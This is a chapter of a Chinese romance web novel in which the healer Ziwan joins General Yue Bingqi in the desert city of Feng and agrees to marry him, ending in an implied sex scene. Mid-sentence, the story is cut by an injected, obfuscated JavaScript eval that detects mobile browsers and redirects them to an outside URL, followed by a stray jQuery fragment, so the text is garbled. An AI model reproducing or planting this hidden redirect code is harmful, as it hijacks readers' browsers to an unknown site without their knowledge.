235.风城的新主人(二)
作品:《强娶的压寨夫君他跑了》 番外风城的新主人(二)
(蔻燎)
紫菀一个多月不停地梦见岳兵棋,跟见了鬼似的不正常。
她与梦魇斗智斗勇许久,还是败下阵来,身上的盘缠银两被她大手大脚花光了,她便回百里京找百里恩让要点金银花一花。
不料在百里京的街上偶遇了柳厢和俞冠楚,两人之前因无悔蛊得了紫菀的恩惠,马不停蹄回将军府凑了几根大金条奉给紫菀以作答谢。
紫菀此人从来不虚与委蛇,大大方方接受了,道了句谢,扭身便走。
柳厢忍不住道,“紫菀医魔,你下一站去何处?我们还能见面吗?”
紫菀挥挥手,故作高深道,“有缘自会再见哒,我得去想办法治好我的失眠症才是。”
她告别柳厢和俞冠楚,依着地图独自来到了扬沙州。
一路上,形形色色的老少男子见她一个弱女子孤身在外,总会起一些找死的歹心,皆被紫菀哄着喝下了断子绝孙药。
断子绝孙药,一言蔽之,就是让能硬的东西再也硬不起来,失去作用,沦为丑陋的装饰物的奇特药品。
可不就断子绝孙了?
紫菀心念,本小医魔没毒死你们就算好的,这般善心大发,很给面子了。
好在紫菀曾经来过沙漠,那时候无垠国还是无垠国,所以她找来扬沙州的时候比计划的快了几日。
紫菀躺在岳兵棋温热的胸膛中,仿佛倦鸟归巢,上下的眼皮子直打架,困意席卷,挥之不去,她道,“小兵兵,我来找你,就是想跟你睡觉的,我,很久很久,没有正常睡觉了,我……我想睡你……你,你愿意吗?”
风儿一吹,这些口无遮拦的话无一不传进了风城城门上守卫的士兵耳朵里,他们面面相觑,齐齐俯视下方的岳兵棋和紫菀。
眼睛绽放着八卦的五彩缤纷的光芒。
岳兵棋想也没想,“好,你想怎么睡,我都依你。”
他的回答,温沐若春,令人心猿意马。
紫菀哼唧一声,在岳兵棋怀里一拱,合上眼睑,呼吸均匀,沉沉睡去。
岳兵棋骑着马将紫菀带回了他的住所,小心翼翼抱着睡熟的人儿卧在他床上。
他派人把紫菀的黑骆驼牵进风城养着,命令火头军提前预备夜饭,等紫菀醒来刚好能吃。
一大睦士兵凑上来好奇道,“岳将军,属下斗胆,这小妹妹是你的什么人?是将军的妻子吗?岳将军,你不要误会,我是想替兄弟们问问,以后该如何称呼这位姑娘,才不失礼数。”
岳兵棋斜睨士兵,似笑非笑,“下去。”
士兵应着,脑袋一转,敲定了内心想法,一群人挤眉弄眼,嘻嘻哈哈跑开了。
岳兵棋本以为紫菀睡一下午就会醒来,特意跑去火头军做饭的厨房吩咐他们多做些荤菜,他自掏腰包给士兵们一起改善伙食。
沾了紫菀的光,大睦士兵们少有的开了顿大荤,心底更加笃定紫菀与岳兵棋的关系不一般。
等一大堆色香味俱全的伙食摆满岳兵棋屋内的餐桌,天空擦黑,星星月亮都跑出来了。
岳兵棋掩上房门,防止沙漠夜风吹到屋子里。
走到床榻去唤紫菀,紫菀还是昏昏沉沉地睡着,没有一点醒来的迹象。
岳兵棋不解,“紫菀,吃饭了,吃了再睡吧。”
紫菀,“哼。”
像梦话,又像回答。
岳兵棋以为紫菀赶来沙漠的路上累着了,便不以为然,坐在床边静静等着她醒。
眸子一扫,看见紫菀鼓鼓囊囊的肚子,心想,肯定又藏着很多奇珍异宝,这么多东西堆在肚子上不难受吗?
心底想着,手指已经开始帮忙往外掏,想帮其减轻压力。
掏出几瓶上好瓷器,轻轻搁在一边,掏第三下时,摸到一冰冷的事物,拽出来一看,瞠目结舌。
一只淡琉璃盅内盘着一团黑红之色,长得面目可憎,邪气四溢。
修长的尾巴卷曲,拉长,卷曲,拉长。
岳兵棋头一次看见夫妻蝎,心神一慌,手掌一滑,那装有夫妻蝎的琉璃盅“啪”的摔在地上,脆响震耳。
床上的紫菀被惊醒,一骨碌坐起,环顾四周,大叫道,“怎么了?谁!”
岳兵棋捡起琉璃盅,还好琉璃盅质量颇好,没有摔坏,否则夫妻蝎跑出来必是得惊心动魄了。
他看向紫菀,疑惑道,“紫菀,这是你抓的?”
紫菀眯一眯眼,直视岳兵棋的脸,看也不看夫妻蝎,道,“小兵兵,我又做梦了。”
“你没有做梦。”
“没有做梦怎么会梦见你?”
“……你常常梦见我吗?”岳兵棋心中一动,不乏期待。
紫菀扯过被子往头上一蒙,倒了下去,答非所问,“我就说是做梦了,最讨厌做一半就醒了。”
岳兵棋拉开紫菀头顶的被子,“你没有做梦,你今天来风城找我,你忘了?”他把夫妻蝎递到眼前,提示着,“这是你的东西,紫菀,你现在来了扬沙州,这是臭名昭著的夫妻蝎,你不是做梦。”
紫菀躺在床上和站着的岳兵棋大眼瞪小眼,足足瞪了一分钟,她“啊”了声,“我,你,我……”
眸仁定在夫妻蝎那张牙舞爪的姿势上,一跟头翻身跳起,两腿一跨,扒拉在岳兵棋腰上,跟小猴子般不松手,“小兵兵,我真的找到你了!睡够了觉我的脑子舒服极啦!那夫妻蝎是我在沙漠里捡的落单的一只,专门装着研究研究它的毒素的,小兵兵,你不要碰它了。”
她将琉璃盅拿走,扔到地面上,“哐当”的响,“这琉璃盅是百里恩让府里的老古董,用料可厉害了,怎么摔都不会坏的。”
岳兵棋莞尔,低头,“嗯,我明白了。”
他道,“紫菀,你能来风城,我很高兴。”
紫菀愣了愣,旋即羞涩一笑,“是吗?小兵兵很高兴吗?”
“很高兴。”
紫菀情不自禁在岳兵棋脸上嘬一口,“那我就没有来错,我还想着,我唐突来访,你会不会觉得烦呢。”
“不会,我不会烦。”
岳兵棋抱着紫菀落座在桌边,任其坐在腿上摇摇晃晃,温声细语,“吃饭吧,以后或许不能经常吃好吃的,但我会偷偷去罗家坨帮你买点肉尝腥,紫菀,你愿意跟着我在风城生活吗?”
风城处于沙漠,风吹日晒,吃的喝的,玩的乐的,都没有百里京舒坦,你愿意吗?
紫菀嗤道,“螺髻山地也不是富饶地方,本姑娘能住下,沙漠的风城怎么就住不下了?更何况,风城有绿洲,能洗澡就行。”
岳兵棋道,“那你的意思是,答应了?”
“答应什么?”
“我戍守扬沙州,你能陪我吗?”
“陪啊。”
“果真?”
“果真,但是我不高兴的时候会跑走,让你找不到我。”
岳兵棋笑道,“嗯,你有资格到处游玩,这是你的权利。但是,我不会让你不高兴的,因为,我想你把风城当成你能随时随地落脚的一个家,我会在这个家里一直等你玩够了回来。”
紫菀歪歪头,循循善诱道,“风城是家,你会等我回来?那本姑娘是你的什么人?若是什么也不算,岂不是无媒苟合了?”
“紫菀,我想娶你,你应是我的妻子,我不擅油嘴滑舌,不擅风花雪月,也不擅亲嘴和那个,但我会永远对你好,你明白吗?”
紫菀
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15034392|129115||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
笑眉笑眼,打趣道,“好,我勉勉强强明白吧,不过话说回来,你不擅亲嘴和‘那个’什么?”
“未经人事,还需要紫菀多教一教。”岳兵棋咳了咳,撇开脸去。
紫菀勾住岳兵棋的脖子,得逞一笑,“小兵兵如此说,那我自然倾囊相授啦。”
两人一抱一坐急急忙忙吃罢夜饭,岳兵棋叫士兵撤了饭菜,兑了热水帮紫菀洗漱。
紫菀洗了脸,泡在热乎乎的士兵准备好的洗澡桶里,雾气腾然,若在云端。
她沐浴完,岳兵棋正在书案上提笔练字,一笔一划写得劲似铁,狠似钢,力透纸背。
见紫菀出浴,岳兵棋整理纸面,洗尽毛笔,“不早了,你先安睡吧。”
“你去哪?”
“我去偏房。”
“你不是想娶我吗?跑什么?我现在一离开你太远,就睡不着觉,你走了我也跟着你去偏房,谁叫你在螺髻山地驮着我睡觉,弄得我改不了习惯了。”紫菀混迹江湖多年,不是羞羞答答的小女孩,明白自己想要的,直言不讳。
岳兵棋听见“离开你就睡不着”,心房暖暖的,“好。”
借着紫菀沐浴过的水洗了洗,岳兵棋再出来就不见紫菀的身影,他道,“紫菀?”
声音蓦地自床底传来。
“干嘛?”
“……今夜也得睡床底吗?”
“嗯。”
岳兵棋怔忡,点点头,蹲身躺在了床底。
自从认识了紫菀,岳兵棋的床底打扫得比床上还干净,贴心地铺了软毯,就是以备不时之需。
刚一躺好,紫菀的双手就探了过来,上下揉-搓。
岳兵棋不躲不避,由着紫菀为所欲为。
“你上来。”紫菀道。
岳兵棋听话地翻身压-上去了。
紫菀笑道,“你摸摸我。”
岳兵棋呼吸灼热,乖乖的照做。
紫菀道,“不是这里,是这里……”
院门外守夜的士兵偷摸打着盹儿,迷迷瞪瞪的时候突然听见某个硬物被巨力顶翻,“嘭”的掀倒在地,一下子吓醒了他们。
四名士兵面面相觑,纷纷把头转向了岳将军的院里。
一士兵道,“什么声音?有敌军偷袭吗?”
另一士兵抱着剑,“不像吧,我听着好像床倒了。”
“床怎么会倒?好端端睡在床上,再怎么也是人滚下来,不可能是床倒了。”
“不一定,要是人在床下呢?一顶不就能把床给顶翻了。”
“啊?还能这样?谁没事睡床底下?变态吧!”
士兵压低嗓子,“今天不是有紫衣女孩来了吗?岳将军所以才不同往日的,或许要‘兽性大发’一回也未可知啊。”
一士兵面红耳赤,指了指屋子门口,兴致勃勃,“要不,去听听看?”
几人坏笑,蹑手蹑脚猫到门口,蹲踞在地,扒住门缝儿竖起耳朵。
里头的谈话声和动作声肆无忌惮飞了出来。
一女子道,“小兵兵,你把床弄倒了,我没有床底可睡了。”
“对不住。”
是岳将军的声音。
女声又道,“抱我到桌子上去。”
一阵脚步声,随后响起男女碰撞的闷响。
女声道,“嗯,还不错,一点就通。”
岳将军的声音,“是你教得好。”
说话声变少,更多的是引人遐想的旖旎娇吟和沉重粗喘,侵袭着四肢百骸,过耳难忘。
那一夜,守夜士兵一个也没有打盹了,精神抖擞,眼孔炯炯有神,一身力气无处撒。
小腿肚子硬是涨了一晚上,脸皮上的红晕消都消不下去。